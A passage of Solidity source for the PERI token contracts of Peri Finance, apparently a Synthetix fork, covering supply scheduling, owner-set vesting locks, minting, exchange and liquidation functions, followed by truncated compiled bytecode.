lastMintEvent // If lastMintEvent not set or 0, then start from inflation start date. uint timeDiff = lastMintEvent > 0 ? now.sub(lastMintEvent) : now.sub(INFLATION_START_DATE); return timeDiff.div(MINT_PERIOD_DURATION); } /** * @return boolean whether the MINT_PERIOD_DURATION (7 days) * has passed since the lastMintEvent. * */ function isMintable() public view returns (bool) { if (now - lastMintEvent > MINT_PERIOD_DURATION) { return true; } return false; } // ========== MUTATIVE FUNCTIONS ========== /** * @notice Record the mint event from Pynthetix by incrementing the inflation * week counter for the number of weeks minted (probabaly always 1) * and store the time of the event. * @param supplyMinted the amount of PERI the total supply was inflated by. * */ function recordMintEvent(uint supplyMinted) external onlyPynthetix returns (bool) { uint numberOfWeeksIssued = weeksSinceLastIssuance(); // add number of weeks minted to weekCounter weekCounter = weekCounter.add(numberOfWeeksIssued); // Update mint event to latest week issued (start date + number of weeks issued * seconds in week) // 1 day time buffer is added so inflation is minted after feePeriod closes lastMintEvent = INFLATION_START_DATE.add(weekCounter.mul(MINT_PERIOD_DURATION)).add(MINT_BUFFER); emit SupplyMinted(supplyMinted, numberOfWeeksIssued, lastMintEvent, now); return true; } /** * @notice Sets the reward amount of PERI for the caller of the public * function Pynthetix.mint(). * This incentivises anyone to mint the inflationary supply and the mintr * Reward will be deducted from the inflationary supply and sent to the caller. * @param amount the amount of PERI to reward the minter. * */ function setMinterReward(uint amount) external onlyOwner { require(amount <= MAX_MINTER_REWARD, "Reward cannot exceed max minter reward"); minterReward = amount; emit MinterRewardUpdated(minterReward); } // ========== SETTERS ========== */ /** * @notice Set the PynthetixProxy should it ever change. * SupplySchedule requires Pynthetix address as it has the authority * to record mint event. * */ function setPynthetixProxy(IPynthetix _pynthetixProxy) external onlyOwner { require(address(_pynthetixProxy) != address(0), "Address cannot be 0"); pynthetixProxy = address(uint160(address(_pynthetixProxy))); emit PynthetixProxyUpdated(pynthetixProxy); } // ========== MODIFIERS ========== /** * @notice Only the Pynthetix contract is authorised to call this function * */ modifier onlyPynthetix() { require( msg.sender == address(Proxy(address(pynthetixProxy)).target()), "Only the pynthetix contract can perform this action" ); _; } /* ========== EVENTS ========== */ /** * @notice Emitted when the inflationary supply is minted * */ event SupplyMinted(uint supplyMinted, uint numberOfWeeksIssued, uint lastMintEvent, uint timestamp); /** * @notice Emitted when the PERI minter reward amount is updated * */ event MinterRewardUpdated(uint newRewardAmount); /** * @notice Emitted when setPynthetixProxy is called changing the Pynthetix Proxy address * */ event PynthetixProxyUpdated(address newAddress); } // https://docs.pynthetix.io/contracts/source/interfaces/irewardsdistribution interface IRewardsDistribution { // Structs struct DistributionData { address destination; uint amount; } // Views function authority() external view returns (address); function distributions(uint index) external view returns (address destination, uint amount); // DistributionData function distributionsLength() external view returns (uint); // Mutative Functions function distributeRewards(uint amount) external returns (bool); } // Inheritance // Internal references contract BasePynthetix is IERC20, ExternStateToken, MixinResolver, IPynthetix { // ========== STATE VARIABLES ========== struct LockState { address _account; uint256 _lockTimes; uint256 _lockAmounts; } // Available Pynths which can be used with the system string public constant TOKEN_NAME = "Peri Finance Token"; string public constant TOKEN_SYMBOL = "PERI"; uint8 public constant DECIMALS = 18; bytes32 public constant pUSD = "pUSD"; mapping (address => uint256) private _lockTimes; mapping (address => uint256) private _lockAmounts; mapping (address => LockState[]) public _LockStates; event LockChanged(address indexed account, uint256 releaseTime, uint256 amount); // ========== ADDRESS RESOLVER CONFIGURATION ========== bytes32 private constant CONTRACT_PYNTHETIXSTATE = "PynthetixState"; bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus"; bytes32 private constant CONTRACT_EXCHANGER = "Exchanger"; bytes32 private constant CONTRACT_ISSUER = "Issuer"; bytes32 private constant CONTRACT_SUPPLYSCHEDULE = "SupplySchedule"; bytes32 private constant CONTRACT_REWARDSDISTRIBUTION = "RewardsDistribution"; // ========== CONSTRUCTOR ========== constructor( address payable _proxy, TokenState _tokenState, address _owner, uint _totalSupply, address _resolver ) public ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner) MixinResolver(_resolver) {} // ========== VIEWS ========== // Note: use public visibility so that it can be invoked in a subclass function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { addresses = new bytes32[](6); addresses[0] = CONTRACT_PYNTHETIXSTATE; addresses[1] = CONTRACT_SYSTEMSTATUS; addresses[2] = CONTRACT_EXCHANGER; addresses[3] = CONTRACT_ISSUER; addresses[4] = CONTRACT_SUPPLYSCHEDULE; addresses[5] = CONTRACT_REWARDSDISTRIBUTION; } function pynthetixState() internal view returns (IPynthetixState) { return IPynthetixState(requireAndGetAddress(CONTRACT_PYNTHETIXSTATE)); } function systemStatus() internal view returns (ISystemStatus) { return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS)); } function exchanger() internal view returns (IExchanger) { return IExchanger(requireAndGetAddress(CONTRACT_EXCHANGER)); } function issuer() internal view returns (IIssuer) { return IIssuer(requireAndGetAddress(CONTRACT_ISSUER)); } function supplySchedule() internal view returns (SupplySchedule) { return SupplySchedule(requireAndGetAddress(CONTRACT_SUPPLYSCHEDULE)); } function rewardsDistribution() internal view returns (IRewardsDistribution) { return IRewardsDistribution(requireAndGetAddress(CONTRACT_REWARDSDISTRIBUTION)); } function debtBalanceOf(address account, bytes32 currencyKey) external view returns (uint) { return issuer().debtBalanceOf(account, currencyKey); } function totalIssuedPynths(bytes32 currencyKey) external view returns (uint) { return issuer().totalIssuedPynths(currencyKey, false); } function totalIssuedPynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint) { return issuer().totalIssuedPynths(currencyKey, true); } function availableCurrencyKeys() external view returns (bytes32[] memory) { return issuer().availableCurrencyKeys(); } function availablePynthCount() external view returns (uint) { return issuer().availablePynthCount(); } function availablePynths(uint index) external view returns (IPynth) { return issuer().availablePynths(index); } function pynths(bytes32 currencyKey) external view returns (IPynth) { return issuer().pynths(currencyKey); } function pynthsByAddress(address pynthAddress) external view returns (bytes32) { return issuer().pynthsByAddress(pynthAddress); } function isWaitingPeriod(bytes32 currencyKey) external view returns (bool) { return exchanger().maxSecsLeftInWaitingPeriod(messageSender, currencyKey) > 0; } function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid) { return issuer().anyPynthOrPERIRateIsInvalid(); } function maxIssuablePynths(address account) external view returns (uint maxIssuable) { return issuer().maxIssuablePynths(account); } function remainingIssuablePynths(address account) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ) { return issuer().remainingIssuablePynths(account); } function collateralisationRatio(address _issuer) external view returns (uint) { return issuer().collateralisationRatio(_issuer); } function collateral(address account) external view returns (uint) { return issuer().collateral(account); } function transferablePERI(address account) external view returns (uint transferable) { (transferable, ) = issuer().transferablePynthetixAndAnyRateIsInvalid(account, tokenState.balanceOf(account)); } function _canTransfer(address account, uint value) internal view returns (bool) { require( !_isLocked( account, value ) , "PERI : Locked balance"); (uint initialDebtOwnership, ) = pynthetixState().issuanceData(account); if (initialDebtOwnership > 0) { (uint transferable, bool anyRateIsInvalid) = issuer().transferablePynthetixAndAnyRateIsInvalid( account, tokenState.balanceOf(account) ); require(value <= transferable, "Cannot transfer staked or escrowed PERI"); require(!anyRateIsInvalid, "A pynth or PERI rate is invalid B"); } return true; } function setLock(address account, uint256 releaseTime, uint256 amount) internal { // _lockTimes[account] = releaseTime; // _lockAmounts[account] = amount; // emit LockChanged( account, releaseTime, amount ); LockState memory lockState; lockState._lockTimes = releaseTime; lockState._lockAmounts = amount; lockState._account = account; _LockStates[lockState._account].push(lockState); emit LockChanged( account, releaseTime, amount ); } function setLockWeek(address account, uint256 defaultstamp, uint week, uint delayweek, uint256 amount) external onlyOwner { if ( defaultstamp == 0){ defaultstamp = now; } uint256 currentweek = defaultstamp; for (uint i=0; i<delayweek; i++){ currentweek = currentweek + 1 weeks; } uint256 amountOfWeek = amount.div(week); for (uint i=0; i < week; i++){ setLock(account, currentweek, amountOfWeek); currentweek = currentweek + 1 weeks; } } function resetLockWeek(address account) external onlyOwner { delete _LockStates[account]; emit LockChanged( account, now, 0 ); } function getLock(address account) public view returns (uint256 lockTime, uint256 lockAmount) { // return (_lockTimes[account], _lockAmounts[account]); LockState[] memory accountLockState = _LockStates[account]; uint256 _lockTime; uint256 _lockAmount; for (uint i = 0; i < accountLockState.length; i++) { if (accountLockState[i]._lockTimes > block.timestamp) { _lockAmount = _lockAmount + accountLockState[i]._lockAmounts; _lockTime = accountLockState[i]._lockTimes; } } return (_lockTime, _lockAmount); } function _isLocked(address account, uint256 amount) internal view returns (bool) { // return _lockTimes[account] != 0 && // _lockAmounts[account] != 0 && // _lockTimes[account] > block.timestamp && // ( // tokenState.balanceOf(account) <= _lockAmounts[account] || // tokenState.balanceOf(account).sub(_lockAmounts[account]) < amount // ); (uint256 locktime, uint256 lockamount) = getLock(account); return locktime != 0 && lockamount != 0 && ( tokenState.balanceOf(account) <= lockamount || tokenState.balanceOf(account).sub(lockamount) < amount ); } // ========== MUTATIVE FUNCTIONS ========== function transfer(address to, uint value) external optionalProxy systemActive returns (bool) { // Ensure they're not trying to exceed their locked amount -- only if they have debt. _canTransfer(messageSender, value); // Perform the transfer: if there is a problem an exception will be thrown in this call. _transferByProxy(messageSender, to, value); return true; } function transferFrom( address from, address to, uint value ) external optionalProxy systemActive returns (bool) { // Ensure they're not trying to exceed their locked amount -- only if they have debt. _canTransfer(from, value); // Perform the transfer: if there is a problem, // an exception will be thrown in this call. return _transferFromByProxy(messageSender, from, to, value); } function issuePynths(uint amount) external issuanceActive optionalProxy { return issuer().issuePynths(messageSender, amount); } function issuePynthsOnBehalf(address issueForAddress, uint amount) external issuanceActive optionalProxy { return issuer().issuePynthsOnBehalf(issueForAddress, messageSender, amount); } function issueMaxPynths() external issuanceActive optionalProxy { return issuer().issueMaxPynths(messageSender); } function issueMaxPynthsOnBehalf(address issueForAddress) external issuanceActive optionalProxy { return issuer().issueMaxPynthsOnBehalf(issueForAddress, messageSender); } function burnPynths(uint amount) external issuanceActive optionalProxy { return issuer().burnPynths(messageSender, amount); } function burnPynthsOnBehalf(address burnForAddress, uint amount) external issuanceActive optionalProxy { return issuer().burnPynthsOnBehalf(burnForAddress, messageSender, amount); } function burnPynthsToTarget() external issuanceActive optionalProxy { return issuer().burnPynthsToTarget(messageSender); } function burnPynthsToTargetOnBehalf(address burnForAddress) external issuanceActive optionalProxy { return issuer().burnPynthsToTargetOnBehalf(burnForAddress, messageSender); } function exchange( bytes32, uint, bytes32 ) external returns (uint) { _notImplemented(); } function exchangeOnBehalf( address, bytes32, uint, bytes32 ) external returns (uint) { _notImplemented(); } function exchangeWithTracking( bytes32, uint, bytes32, address, bytes32 ) external returns (uint) { _notImplemented(); } function exchangeOnBehalfWithTracking( address, bytes32, uint, bytes32, address, bytes32 ) external returns (uint) { _notImplemented(); } function exchangeWithVirtual( bytes32, uint, bytes32, bytes32 ) external returns (uint, IVirtualPynth) { _notImplemented(); } function settle(bytes32) external returns ( uint, uint, uint ) { _notImplemented(); } function mint() external returns (bool) { _notImplemented(); } function liquidateDelinquentAccount(address, uint) external returns (bool) { _notImplemented(); } function mintSecondary(address, uint) external { _notImplemented(); } function mintSecondaryRewards(uint) external { _notImplemented(); } function burnSecondary(address, uint) external { _notImplemented(); } function _notImplemented() internal pure { revert("Cannot be run on this layer"); } // ========== MODIFIERS ========== modifier onlyExchanger() { require(msg.sender == address(exchanger()), "Only Exchanger can invoke this"); _; } modifier systemActive() { systemStatus().requireSystemActive(); _; } modifier issuanceActive() { systemStatus().requireIssuanceActive(); _; } modifier exchangeActive(bytes32 src, bytes32 dest) { systemStatus().requireExchangeActive(); systemStatus().requirePynthsActive(src, dest); _; } } // Inheritance // https://docs.pynthetix.io/contracts/source/contracts/pynthetix contract Perifi is BasePynthetix { // ========== CONSTRUCTOR ========== constructor( address payable _proxy, TokenState _tokenState, address _owner, uint _totalSupply, address _resolver ) public BasePynthetix(_proxy, _tokenState, _owner, _totalSupply, _resolver) {} // ========== OVERRIDDEN FUNCTIONS ========== function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { return exchanger().exchange(messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender); } function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { return exchanger().exchangeOnBehalf( exchangeForAddress, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey ); } function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { return exchanger().exchangeWithTracking( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, originator, trackingCode ); } function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { return exchanger().exchangeOnBehalfWithTracking( exchangeForAddress, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, originator, trackingCode ); } function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived, IVirtualPynth vPynth) { return exchanger().exchangeWithVirtual( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, trackingCode ); } function settle(bytes32 currencyKey) external optionalProxy returns ( uint reclaimed, uint refunded, uint numEntriesSettled ) { return exchanger().settle(messageSender, currencyKey); } function mint() external issuanceActive returns (bool) { require(address(rewardsDistribution()) != address(0), "RewardsDistribution not set"); SupplySchedule _supplySchedule = supplySchedule(); IRewardsDistribution _rewardsDistribution = rewardsDistribution(); uint supplyToMint = _supplySchedule.mintableSupply(); require(supplyToMint > 0, "No supply is mintable"); // record minting event before mutation to token supply _supplySchedule.recordMintEvent(supplyToMint); // Set minted PERI balance to RewardEscrow's balance // Minus the minterReward and set balance of minter to add reward uint minterReward = _supplySchedule.minterReward(); // Get the remainder uint amountToDistribute = supplyToMint.sub(minterReward); // Set the token balance to the RewardsDistribution contract tokenState.setBalanceOf( address(_rewardsDistribution), tokenState.balanceOf(address(_rewardsDistribution)).add(amountToDistribute) ); emitTransfer(address(this), address(_rewardsDistribution), amountToDistribute); // Kick off the distribution of rewards _rewardsDistribution.distributeRewards(amountToDistribute); // Assign the minters reward. tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(address(this), msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); return true; } function liquidateDelinquentAccount(address account, uint susdAmount) external systemActive optionalProxy returns (bool) { (uint totalRedeemed, uint amountLiquidated) = issuer().liquidateDelinquentAccount( account, susdAmount, messageSender ); emitAccountLiquidated(account, totalRedeemed, amountLiquidated, messageSender); // Transfer PERI redeemed to messageSender // Reverts if amount to redeem is more than balanceOf account, ie due to escrowed balance return _transferByProxy(account, messageSender, totalRedeemed); } // ========== EVENTS ========== event PynthExchange( address indexed account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ); bytes32 internal constant SYNTHEXCHANGE_SIG = keccak256( "PynthExchange(address,bytes32,uint256,bytes32,uint256,address)" ); function emitPynthExchange( address account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ) external onlyExchanger { proxy._emit( abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, addressToBytes32(account), 0, 0 ); } event ExchangeTracking(bytes32 indexed trackingCode, bytes32 toCurrencyKey, uint256 toAmount); bytes32 internal constant EXCHANGE_TRACKING_SIG = keccak256("ExchangeTracking(bytes32,bytes32,uint256)"); function emitExchangeTracking( bytes32 trackingCode, bytes32 toCurrencyKey, uint256 toAmount ) external onlyExchanger { proxy._emit(abi.encode(toCurrencyKey, toAmount), 2, EXCHANGE_TRACKING_SIG, trackingCode, 0, 0); } event ExchangeReclaim(address indexed account, bytes32 currencyKey, uint amount); bytes32 internal constant EXCHANGERECLAIM_SIG = keccak256("ExchangeReclaim(address,bytes32,uint256)"); function emitExchangeReclaim( address account, bytes32 currencyKey, uint256 amount ) external onlyExchanger { proxy._emit(abi.encode(currencyKey, amount), 2, EXCHANGERECLAIM_SIG, addressToBytes32(account), 0, 0); } event ExchangeRebate(address indexed account, bytes32 currencyKey, uint amount); bytes32 internal constant EXCHANGEREBATE_SIG = keccak256("ExchangeRebate(address,bytes32,uint256)"); function emitExchangeRebate( address account, bytes32 currencyKey, uint256 amount ) external onlyExchanger { proxy._emit(abi.encode(currencyKey, amount), 2, EXCHANGEREBATE_SIG, addressToBytes32(account), 0, 0); } event AccountLiquidated(address indexed account, uint periRedeemed, uint amountLiquidated, address liquidator); bytes32 internal constant ACCOUNTLIQUIDATED_SIG = keccak256("AccountLiquidated(address,uint256,uint256,address)"); function emitAccountLiquidated( address account, uint256 periRedeemed, uint256 amountLiquidated, address liquidator ) internal { proxy._emit( abi.encode(periRedeemed, amountLiquidated, liquidator), 2, ACCOUNTLIQUIDATED_SIG, addressToBytes32(account), 0, 0 ); } }
0x608060405234801561001057600080fd5b506004361061041d5760003560e01c806379ba50971161022b578063c836fa0a11610130578063ddd03a3f116100b8578063ec55688911610087578063ec55688914610d96578063edef719a14610861578063ee52a2f314610d9e578063f5adc4f514610dc7578063f9eea80c14610dcf5761041d565b8063ddd03a3f14610d0d578063e58c3e8614610d36578063e6203ed114610d62578063e90dd9e214610d8e5761041d565b8063d67bdd25116100ff578063d67bdd2514610c95578063d6980ba114610c9d578063d8a1f76f14610cba578063d99947de14610cd7578063dd62ed3e14610cdf5761041d565b8063c836fa0a14610bee578063c9a2f3ad14610c26578063d37c4d8b14610c4c578063d3a7120214610c785761041d565b80639df95f9f116101b3578063a9059cbb11610182578063a9059cbb14610b27578063aa1b8af814610b53578063ace88afd14610b79578063b07ecd2e14610bab578063bc67f83214610bc85761041d565b80639df95f9f14610a985780639f76980714610ab5578063a311c7c214610adb578063a5fdc5de14610b015761041d565b806391e56b68116101fa57806391e56b68146109ff57806395d89b4114610a4557806397107d6d14610a4d578063987757dd14610a735780639cbdaeb614610a905761041d565b806379ba5097146109df578063899ffef4146109e75780638da5cb5b146109ef5780638e2ac0ea146109f75761041d565b80632f0bb6fa1161033157806357ad4663116102b95780636f01a986116102885780636f01a9861461090a578063705a23691461093c57806370a082311461095957806372cb051f1461097f57806374185360146109d75761041d565b806357ad466314610844578063666ed4f1146108615780636b9db4e61461088d5780636c7b9f69146108cc5761041d565b806342f760cb1161030057806342f760cb146107bc5780634e92c3fb146107e857806353a47bb71461080e57806354037f761461081657806355182ccb1461081e5761041d565b80632f0bb6fa146106de57806330ead76014610732578063313ce567146107705780633b09280a146107785761041d565b806318160ddd116103b457806323b872dd1161038357806323b872dd1461065457806328691a751461068a5780632a905318146106b05780632af64bd3146106b85780632e0f2625146106c05761041d565b806318160ddd146105cf57806318821400146105e95780631b99084c146105f15780631fce304d146106375761041d565b80630e30963c116103f05780630e30963c1461052b5780631249c58b1461057b578063131b0ae7146105835780631627540c146105a95761041d565b806304f3bcec1461042257806306fdde0314610446578063095ea7b3146104c35780630ce4f2ef14610503575b600080fd5b61042a610dd7565b604080516001600160a01b039092168252519081900360200190f35b61044e610deb565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610488578181015183820152602001610470565b50505050905090810190601f1680156104b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ef600480360360408110156104d957600080fd5b506001600160a01b038135169060200135610e79565b604080519115158252519081900360200190f35b6105296004803603602081101561051957600080fd5b50356001600160a01b0316610f12565b005b61055a6004803603608081101561054157600080fd5b5080359060208101359060408101359060600135610fef565b604080519283526001600160a01b0390911660208301528051918290030190f35b6104ef61117b565b6105296004803603602081101561059957600080fd5b50356001600160a01b0316611670565b610529600480360360208110156105bf57600080fd5b50356001600160a01b031661169a565b6105d76116f6565b60408051918252519081900360200190f35b61044e6116fc565b610529600480360360c081101561060757600080fd5b506001600160a01b03813581169160208101359160408201359160608101359160808201359160a001351661172a565b6104ef6004803603602081101561064d57600080fd5b50356118dc565b6104ef6004803603606081101561066a57600080fd5b506001600160a01b0381358116916020810135909116906040013561196f565b610529600480360360208110156106a057600080fd5b50356001600160a01b03166119fc565b61044e611abd565b6104ef611add565b6106c8611bee565b6040805160ff9092168252519081900360200190f35b61070a600480360360408110156106f457600080fd5b506001600160a01b038135169060200135611bf3565b604080516001600160a01b039094168452602084019290925282820152519081900360600190f35b6105d7600480360360a081101561074857600080fd5b508035906020810135906040810135906001600160a01b036060820135169060800135611c3c565b6106c8611dc6565b61079e6004803603602081101561078e57600080fd5b50356001600160a01b0316611dcf565b60408051938452602084019290925282820152519081900360600190f35b610529600480360360408110156107d257600080fd5b506001600160a01b038135169060200135611e75565b610529600480360360208110156107fe57600080fd5b50356001600160a01b0316611f5a565b61042a611fc9565b610529611fd8565b6105d76004803603602081101561083457600080fd5b50356001600160a01b03166120aa565b61042a6004803603602081101561085a57600080fd5b503561213b565b6105296004803603604081101561087757600080fd5b506001600160a01b038135169060200135612188565b6108b3600480360360208110156108a357600080fd5b50356001600160a01b0316612190565b6040805192835260208301919091528051918290030190f35b610529600480360360a08110156108e257600080fd5b506001600160a01b0381351690602081013590604081013590606081013590608001356122a0565b6105296004803603606081101561092057600080fd5b506001600160a01b038135169060208101359060400135612312565b6105296004803603602081101561095257600080fd5b50356124a6565b6105d76004803603602081101561096f57600080fd5b50356001600160a01b0316612564565b6109876125b5565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156109c35781810151838201526020016109ab565b505050509050019250505060405180910390f35b6105296126c5565b61052961289e565b61098761295a565b61042a612a78565b610529612a87565b6105d7600480360360c0811015610a1557600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a00135612b3e565b61044e612ccc565b61052960048036036020811015610a6357600080fd5b50356001600160a01b0316612d27565b61079e60048036036020811015610a8957600080fd5b5035612d83565b61042a612e03565b61042a60048036036020811015610aae57600080fd5b5035612e12565b61052960048036036020811015610acb57600080fd5b50356001600160a01b0316612e5f565b6105d760048036036020811015610af157600080fd5b50356001600160a01b0316612e8b565b6105d760048036036020811015610b1757600080fd5b50356001600160a01b0316612eea565b6104ef60048036036040811015610b3d57600080fd5b506001600160a01b038135169060200135612f49565b6105d760048036036020811015610b6957600080fd5b50356001600160a01b0316612fda565b61052960048036036060811015610b8f57600080fd5b506001600160a01b0381351690602081013590604001356130d9565b61052960048036036020811015610bc157600080fd5b503561318c565b61052960048036036020811015610bde57600080fd5b50356001600160a01b031661324a565b6105d760048036036080811015610c0457600080fd5b506001600160a01b038135169060208101359060408101359060600135613274565b6105d760048036036020811015610c3c57600080fd5b50356001600160a01b03166133f1565b6105d760048036036040811015610c6257600080fd5b506001600160a01b038135169060200135613450565b6105d760048036036020811015610c8e57600080fd5b50356134ea565b61042a613544565b6105d760048036036020811015610cb357600080fd5b5035613553565b61052960048036036020811015610cd057600080fd5b50356135ad565b6105d76135b5565b6105d760048036036040811015610cf557600080fd5b506001600160a01b0381358116916020013516613628565b61052960048036036060811015610d2357600080fd5b5080359060208101359060400135613681565b61052960048036036040811015610d4c57600080fd5b506001600160a01b03813516906020013561379e565b6104ef60048036036040811015610d7857600080fd5b506001600160a01b038135169060200135613866565b61042a6139a6565b61042a6139b5565b6105d760048036036060811015610db457600080fd5b50803590602081013590604001356139c4565b6104ef613b3d565b6105d7613b7f565b60095461010090046001600160a01b031681565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e715780601f10610e4657610100808354040283529160200191610e71565b820191906000526020600020905b815481529060010190602001808311610e5457829003601f168201915b505050505081565b6000610e83613b8a565b6004805460055460408051633691826360e21b81526001600160a01b039384169481018590528784166024820152604481018790529051919092169163da46098c91606480830192600092919082900301818387803b158015610ee557600080fd5b505af1158015610ef9573d6000803e3d6000fd5b50505050610f08818585613be0565b5060019392505050565b610f1a613caa565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b158015610f5257600080fd5b505afa158015610f66573d6000803e3d6000fd5b50505050610f72613b8a565b610f7a613cc9565b6004805460408051632334883560e11b81526001600160a01b03868116948201949094529183166024830152519290911691634669106a9160448082019260009290919082900301818387803b158015610fd357600080fd5b505af1158015610fe7573d6000803e3d6000fd5b505050505b50565b6000808584610ffc613caa565b6001600160a01b0316637118d4316040518163ffffffff1660e01b815260040160006040518083038186803b15801561103457600080fd5b505afa158015611048573d6000803e3d6000fd5b50505050611054613caa565b6001600160a01b0316633cb4d44383836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b15801561109f57600080fd5b505afa1580156110b3573d6000803e3d6000fd5b505050506110bf613b8a565b6110c7613cdd565b6004805460408051633ce6548960e21b81526001600160a01b03928316938101849052602481018d9052604481018c9052606481018b9052608481019390935260a483018990528051939091169263f39952249260c48082019392918290030181600087803b15801561113957600080fd5b505af115801561114d573d6000803e3d6000fd5b505050506040513d604081101561116357600080fd5b50805160209091015190999098509650505050505050565b6000611185613caa565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b1580156111bd57600080fd5b505afa1580156111d1573d6000803e3d6000fd5b5050505060006001600160a01b03166111e8613cf4565b6001600160a01b03161415611244576040805162461bcd60e51b815260206004820152601b60248201527f52657761726473446973747269627574696f6e206e6f74207365740000000000604482015290519081900360640190fd5b600061124e613d15565b9050600061125a613cf4565b90506000826001600160a01b031663cc5c095c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561129757600080fd5b505afa1580156112ab573d6000803e3d6000fd5b505050506040513d60208110156112c157600080fd5b505190508061130f576040805162461bcd60e51b81526020600482015260156024820152744e6f20737570706c79206973206d696e7461626c6560581b604482015290519081900360640190fd5b826001600160a01b0316637e7961d7826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561135557600080fd5b505af1158015611369573d6000803e3d6000fd5b505050506040513d602081101561137f57600080fd5b505060408051639bdd7ac760e01b815290516000916001600160a01b03861691639bdd7ac791600480820192602092909190829003018186803b1580156113c557600080fd5b505afa1580156113d9573d6000803e3d6000fd5b505050506040513d60208110156113ef57600080fd5b505190506000611405838363ffffffff613d3116565b600554604080516370a0823160e01b81526001600160a01b038881166004830152915193945091169163b46310f691879161149b91869186916370a08231916024808301926020929190829003018186803b15801561146357600080fd5b505afa158015611477573d6000803e3d6000fd5b505050506040513d602081101561148d57600080fd5b50519063ffffffff613d8e16565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156114ea57600080fd5b505af11580156114fe573d6000803e3d6000fd5b5050505061150d308583613def565b836001600160a01b03166359974e38826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561155357600080fd5b505af1158015611567573d6000803e3d6000fd5b505050506040513d602081101561157d57600080fd5b5050600554604080516370a0823160e01b8152336004820181905291516001600160a01b039093169263b46310f692916115db91879186916370a0823191602480820192602092909190829003018186803b15801561146357600080fd5b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561162a57600080fd5b505af115801561163e573d6000803e3d6000fd5b5050505061164d303384613def565b600854611660908463ffffffff613d8e16565b6008555060019450505050505b90565b611678613e42565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6116a2613e42565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b60085481565b604051806040016040528060128152602001712832b934902334b730b731b2902a37b5b2b760711b81525081565b611732613cdd565b6001600160a01b0316336001600160a01b031614611785576040805162461bcd60e51b815260206004820152601e6024820152600080516020614c81833981519152604482015290519081900360640190fd5b60028054604080516020810189905280820188905260608101879052608081018690526001600160a01b0385811660a0808401919091528351808403909101815260c0909201928390529092169263907dff97929180603e614c438239603e01905060405180910390206117f88b613e8b565b6000806040518763ffffffff1660e01b815260040180806020018781526020018681526020018581526020018460001b81526020018360001b8152602001828103825288818151815260200191508051906020019080838360005b8381101561186b578181015183820152602001611853565b50505050905090810190601f1680156118985780820380516001836020036101000a031916815260200191505b50975050505050505050600060405180830381600087803b1580156118bc57600080fd5b505af11580156118d0573d6000803e3d6000fd5b50505050505050505050565b6000806118e7613cdd565b60048054604080516301670a7b60e21b81526001600160a01b0392831693810193909352602483018790525192169163059c29ec91604480820192602092909190829003018186803b15801561193c57600080fd5b505afa158015611950573d6000803e3d6000fd5b505050506040513d602081101561196657600080fd5b50511192915050565b6000611979613b8a565b611981613caa565b6001600160a01b031663086dabd16040518163ffffffff1660e01b815260040160006040518083038186803b1580156119b957600080fd5b505afa1580156119cd573d6000803e3d6000fd5b505050506119db8483613e97565b506004546119f4906001600160a01b0316858585614107565b949350505050565b611a04613caa565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b158015611a3c57600080fd5b505afa158015611a50573d6000803e3d6000fd5b50505050611a5c613b8a565b611a64613cc9565b60048054604080516330662ab960e01b81526001600160a01b038681169482019490945291831660248301525192909116916330662ab9916